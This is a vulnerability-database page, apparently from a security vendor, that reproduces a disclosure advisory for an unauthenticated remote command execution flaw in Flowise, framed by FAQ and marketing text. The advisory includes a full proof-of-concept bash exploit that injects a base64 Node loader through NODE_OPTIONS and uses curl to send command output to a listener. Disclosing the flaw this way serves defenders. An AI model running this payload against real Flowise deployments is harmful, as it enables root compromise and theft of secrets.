How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

353,823

Total vulnerabilities in the database

Flowise: Parameter Override Bypass Remote Command Execution — flowise

Improper Input Validation

Summary

Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODE_OPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.

Details

The vulnerability is in a validation check within the replaceInputsWithConfig function within packages/server/src/utils/index.ts. The check for FILE-STORAGE:: was intended to handle file-type inputs but has three issues:

Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config }
No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig.
Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized.

Vulnerable Code (FILE-STORAGE:: bypass):

// packages/server/src/utils/index.ts, line 1192-1198
// Skip if it is an override &quot;files&quot; input, such as pdfFile, txtFile, etc
if (typeof overrideConfig[config] === &#039;string&#039; &amp;&amp; overrideConfig[config].includes(&#039;FILE-STORAGE::&#039;)) {
    // pass  &lt;-- BYPASSES ALL VALIDATION
} else if (!isParameterEnabled(flowNodeData.label, config)) {
    // Only proceed if the parameter is enabled
    continue
}

This bypass allows an attacker to override the mcpServerConfig and inject a malicious NODE_OPTIONS value. The Custom MCP node's environment variable blocklist does not include NODE_OPTIONS, enabling an attacker to use the --experimental-loader to execute arbitrary JavaScript code before the main process starts.

Vulnerable Code (NODE_OPTIONS not blocked):

// packages/components/nodes/tools/MCP/core.ts, line 248-254
const dangerousEnvVars = [&#039;PATH&#039;, &#039;LD_LIBRARY_PATH&#039;, &#039;DYLD_LIBRARY_PATH&#039;]

for (const [key, value] of Object.entries(env)) {
    if (dangerousEnvVars.includes(key)) {
        throw new Error(`Environment variable &#039;${key}&#039; modification is not allowed`)
    }
}

Requirements

API Override Enabled The chatflow must have "API Override" toggled ON in Chatflow Configuration. Public Chatflow The chatflow must be shared publicly. MCP Node The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).

Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.

Common use cases that necessitate enabling this feature include:

Session Management: Passing a unique sessionId or chatId for each user to maintain separate conversation histories.
User-Specific Variables: Injecting user data such as name, preferences, or role into prompts to create personalized experiences.
Dynamic Tool Selection: Allowing users to specify which data sources or APIs to query based on their needs.
Multi-Tenant Applications: Supporting different configurations for each customer or organization without deploying separate chatflows.
A/B Testing: Evaluating different prompts or models in a live environment.

Setup

To reproduce the vulnerability, follow these steps:

Step 1: Start Flowise Instance

docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest

Step 2: Configure a Public Chatflow with MCP Tool

Navigate to http://localhost:3000 and create an account.
Create a new chatflow.
Add a Custom MCP node and a Custom JS Function node.
Connect the Custom MCP output to the Custom JS Function's tools input.
Configure the Custom JS Function to be an Ending Node with the code: return $tools ? "Tools loaded" : "No tools";
Configure the Custom MCP with the MCP Server Config: {"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}
Save the chatflow and note the chatflowId from the URL.
In Chatflow Configuration, enable API Override and make the chatflow Public.

PoC

Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:

Step 1: Setup Listener

# Start netcat listener to receive transmitted data
# Note: If testing locally, run this in a separate terminal
nc -lvnp 5000
echo &quot;Listener started on port 5000...&quot;

Step 2: Trigger Exploit

#!/bin/bash

CHATFLOW_ID=&quot;ABC-123-...&quot;
TARGET=&quot;http://localhost:3000&quot;
LISTENER_IP=&quot;172.17.0.1&quot; # Docker local IP for testing

# Payload: Execute commands and transmit output to remote listener
LOADER_CODE=&#039;import{execSync}from&quot;child_process&quot;;const cmd=&quot;id &amp;&amp; pwd &amp;&amp; ls&quot;;const out=execSync(cmd).toString();try{execSync(&quot;curl -s -m 3 --data-binary \&quot;&quot;+out+&quot;\&quot; http://&#039;$LISTENER_IP&#039;:5000&quot;);}catch(e){}export{};&#039;

ENCODED=$(echo -n &quot;$LOADER_CODE&quot; | base64 | tr -d &#039;\n&#039;)

# Construct the crafted MCP config
CONFIG=&#039;{&quot;command&quot;:&quot;npx&quot;,&quot;args&quot;:[&quot;-y&quot;,&quot;@modelcontextprotocol/server-everything&quot;],&quot;env&quot;:{&quot;NODE_OPTIONS&quot;:&quot;--experimental-loader data:text/javascript;base64,&#039;$ENCODED&#039;&quot;}}&#039;
CONFIG_ESCAPED=$(echo &quot;$CONFIG&quot; | sed &#039;s/&quot;/\\&quot;/g&#039;)

# Single request triggers RCE
curl -X POST &quot;$TARGET/api/v1/prediction/$CHATFLOW_ID&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &quot;{
    \&quot;question\&quot;: \&quot;trigger\&quot;,
    \&quot;overrideConfig\&quot;: {
      \&quot;mcpServerConfig\&quot;: \&quot;/* FILE-STORAGE:: */ $CONFIG_ESCAPED\&quot;
    }
  }&quot;

Step 3: Verify Command Execution

# Check the listener output
Connection received...
POST / HTTP/1.1
Host: 172.17.0.1:5000
User-Agent: curl/8.17.0
Accept: */*
Content-Length: 214
Content-Type: application/x-www-form-urlencoded

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

Impact

This vulnerability allows for:

Full Container Compromise: Arbitrary command execution as the root user.
Data Exfiltration: Access to all secrets, credentials, and user data within the container.
Lateral Movement: A pivot point for attacking internal networks and other connected systems.

The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.

Credit

Jeremy Brown

Published: Apr 16, 2026
Updated: Apr 17, 2026
GHSA: GHSA-cvrr-qhgw-2mm6
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

CWEs:

CWE-20

Affected Software
References

Software	From	Fixed in
flowise	-	3.1.0
flowise-components	-	3.1.0

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cvrr-qhgw-2mm6

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.